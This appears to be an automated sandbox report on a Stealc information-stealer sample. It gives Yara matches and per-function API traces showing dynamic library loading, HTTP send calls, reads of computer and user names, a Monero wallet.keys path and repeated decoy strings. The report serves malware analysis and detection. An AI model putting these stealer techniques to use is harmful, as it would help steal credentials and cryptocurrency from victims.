Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2102191694.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2061075276.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00B19860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,011F06C0), ref: 00B198A1
GetProcAddress.KERNEL32(75900000,011F0708), ref: 00B198BA
GetProcAddress.KERNEL32(75900000,011F0720), ref: 00B198D2
GetProcAddress.KERNEL32(75900000,011F07F8), ref: 00B198EA
GetProcAddress.KERNEL32(75900000,011F0558), ref: 00B19903
GetProcAddress.KERNEL32(75900000,011F8950), ref: 00B1991B
GetProcAddress.KERNEL32(75900000,011E6580), ref: 00B19933
GetProcAddress.KERNEL32(75900000,011E65A0), ref: 00B1994C
GetProcAddress.KERNEL32(75900000,011F0570), ref: 00B19964
GetProcAddress.KERNEL32(75900000,011F0588), ref: 00B1997C
GetProcAddress.KERNEL32(75900000,011F05A0), ref: 00B19995
GetProcAddress.KERNEL32(75900000,011F05B8), ref: 00B199AD
GetProcAddress.KERNEL32(75900000,011E6500), ref: 00B199C5
GetProcAddress.KERNEL32(75900000,011F05D0), ref: 00B199DE
GetProcAddress.KERNEL32(75900000,011F0618), ref: 00B199F6
GetProcAddress.KERNEL32(75900000,011E62A0), ref: 00B19A0E
GetProcAddress.KERNEL32(75900000,011F0648), ref: 00B19A27
GetProcAddress.KERNEL32(75900000,011F08E8), ref: 00B19A3F
GetProcAddress.KERNEL32(75900000,011E6640), ref: 00B19A57
GetProcAddress.KERNEL32(75900000,011F0918), ref: 00B19A70
GetProcAddress.KERNEL32(75900000,011E63C0), ref: 00B19A88
LoadLibraryA.KERNEL32(011F08A0,?,00B16A00), ref: 00B19A9A
LoadLibraryA.KERNEL32(011F0900,?,00B16A00), ref: 00B19AAB
LoadLibraryA.KERNEL32(011F08D0,?,00B16A00), ref: 00B19ABD
LoadLibraryA.KERNEL32(011F0858,?,00B16A00), ref: 00B19ACF
LoadLibraryA.KERNEL32(011F0870,?,00B16A00), ref: 00B19AE0
GetProcAddress.KERNEL32(75070000,011F08B8), ref: 00B19B02
GetProcAddress.KERNEL32(75FD0000,011F0888), ref: 00B19B23
GetProcAddress.KERNEL32(75FD0000,011F8F40), ref: 00B19B3B
GetProcAddress.KERNEL32(75A50000,011F8EF8), ref: 00B19B5D
GetProcAddress.KERNEL32(74E50000,011E6420), ref: 00B19B7E
GetProcAddress.KERNEL32(76E80000,011F8900), ref: 00B19B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00B19BB6

Strings

NtQueryInformationProcess, xrefs: 00B19BAA

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 12a9981547a7f80e5f6666add7eb6e99a53ea6e03ac873c1eb85af8086b3bcb6
Instruction ID: af4a29b2f3b86f6fb59ddd64369392a37438fefe44736da40725e0db3a90e798
Opcode Fuzzy Hash: 12a9981547a7f80e5f6666add7eb6e99a53ea6e03ac873c1eb85af8086b3bcb6
Instruction Fuzzy Hash: 7CA12ABE5C43409FE364EFACED88A663BF9F74E301714451AA609C3364D639A841DB72

Function 00B045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00B0460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00B0479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B0462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B0474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B0475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B0473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B0471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B0477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B0466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B04765

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: cf02b62878baa38ea0d13ee53d4c86ecd0114ad385026bce1a8091ff7849cfae
Instruction ID: 45e27e05ff24efccd2a9e465eb3198e973364d857726ebb6da1889546063be10
Opcode Fuzzy Hash: cf02b62878baa38ea0d13ee53d4c86ecd0114ad385026bce1a8091ff7849cfae
Instruction Fuzzy Hash: 8B4158607E26957FC63CFBA4BD6EE9D7792DF4A720FD072C2EE0892290DBB095004525

Function 00B04880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B04839
Part of subcall function 00B047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B04849

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B04915
StrCmpCA.SHLWAPI(?,011FE3D0), ref: 00B0493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B04ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00B20DDB,00000000,?,?,00000000,?,",00000000,?,011FE2A0), ref: 00B04DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B04E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B04E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B04E49
InternetCloseHandle.WININET(00000000), ref: 00B04EAD
InternetCloseHandle.WININET(00000000), ref: 00B04EC5
HttpOpenRequestA.WININET(00000000,011FE310,?,011FDD60,00000000,00000000,00400100,00000000), ref: 00B04B15

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

InternetCloseHandle.WININET(00000000), ref: 00B04ECF

Strings

------, xrefs: 00B049BD
------, xrefs: 00B04B28
------, xrefs: 00B04C69
", xrefs: 00B04D33
", xrefs: 00B04BF2

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 97253faf97e1564aee4f09b9f38fe0212e9ede53ec6ee9667bfb7a5c3e664320
Instruction ID: 60d27d86b05e1729802382781a0f120e0d3cea5ba5931ca6f9f4918756f65008
Opcode Fuzzy Hash: 97253faf97e1564aee4f09b9f38fe0212e9ede53ec6ee9667bfb7a5c3e664320
Instruction Fuzzy Hash: 1912DD71911218AADB15EB94DD92FEEB7B8AF15310F9041D9B10672091EF703F8ACF62

Function 00B178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B17910
RtlAllocateHeap.NTDLL(00000000), ref: 00B17917
GetComputerNameA.KERNEL32(?,00000104), ref: 00B1792F

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 78e61cba5273c0dd315b1b518f76e43ec4965489d30f9420de8f7d5d5eb2e56d
Instruction ID: 4fdcde233d229c27a1f93686157a9ec35a959a7add653fe9d109370e4663810c
Opcode Fuzzy Hash: 78e61cba5273c0dd315b1b518f76e43ec4965489d30f9420de8f7d5d5eb2e56d
Instruction Fuzzy Hash: 3B0186B1948304EBC700DF98DD45BAABBF8F705B51F50429AF545E3380C77459448BA1

Function 00B17850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B011B7), ref: 00B17880
RtlAllocateHeap.NTDLL(00000000), ref: 00B17887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B1789F

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 484639f991f3da8d8e4f6491d035fac77e757022a923f2707c62d8338fc05b0c
Instruction ID: c1d989c2e21ba4308b09c6f2168c237c350911e0ffb61230ab1c57e362e9cd16
Opcode Fuzzy Hash: 484639f991f3da8d8e4f6491d035fac77e757022a923f2707c62d8338fc05b0c
Instruction Fuzzy Hash: F1F04FB5984208ABC710DF99DD49BAEBBF8EB05711F10025AFA05E3780C77419448BA1

Function 00B01160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00B0116A
ExitProcess.KERNEL32 ref: 00B0117E

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 6c1fb9e9fb35f116b5be9b2f958a9c025fae1272e3f861a2b9c7b01b15f85e15
Instruction ID: 4f0cdea0ca4a583753cc5441e2f85260b4a9f8644319d93c922a160fc0d865d7
Opcode Fuzzy Hash: 6c1fb9e9fb35f116b5be9b2f958a9c025fae1272e3f861a2b9c7b01b15f85e15
Instruction Fuzzy Hash: F0D05E7894030CDBCB14DFE4D8496DDBBB8FB09311F000594E905B2340EA306481CAB6

Function 00B19C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,011E64E0), ref: 00B19C2D
GetProcAddress.KERNEL32(75900000,011E6600), ref: 00B19C45
GetProcAddress.KERNEL32(75900000,011F8D00), ref: 00B19C5E
GetProcAddress.KERNEL32(75900000,011F8D18), ref: 00B19C76
GetProcAddress.KERNEL32(75900000,011FCF48), ref: 00B19C8E
GetProcAddress.KERNEL32(75900000,011FCEE8), ref: 00B19CA7
GetProcAddress.KERNEL32(75900000,011EAFC8), ref: 00B19CBF
GetProcAddress.KERNEL32(75900000,011FCFC0), ref: 00B19CD7
GetProcAddress.KERNEL32(75900000,011FCE10), ref: 00B19CF0
GetProcAddress.KERNEL32(75900000,011FCF00), ref: 00B19D08
GetProcAddress.KERNEL32(75900000,011FCF30), ref: 00B19D20
GetProcAddress.KERNEL32(75900000,011E6560), ref: 00B19D39
GetProcAddress.KERNEL32(75900000,011E6620), ref: 00B19D51
GetProcAddress.KERNEL32(75900000,011E6280), ref: 00B19D69
GetProcAddress.KERNEL32(75900000,011E63A0), ref: 00B19D82
GetProcAddress.KERNEL32(75900000,011FCF60), ref: 00B19D9A
GetProcAddress.KERNEL32(75900000,011FCE70), ref: 00B19DB2
GetProcAddress.KERNEL32(75900000,011EAFF0), ref: 00B19DCB
GetProcAddress.KERNEL32(75900000,011E62C0), ref: 00B19DE3
GetProcAddress.KERNEL32(75900000,011FCEB8), ref: 00B19DFB
GetProcAddress.KERNEL32(75900000,011FCF78), ref: 00B19E14
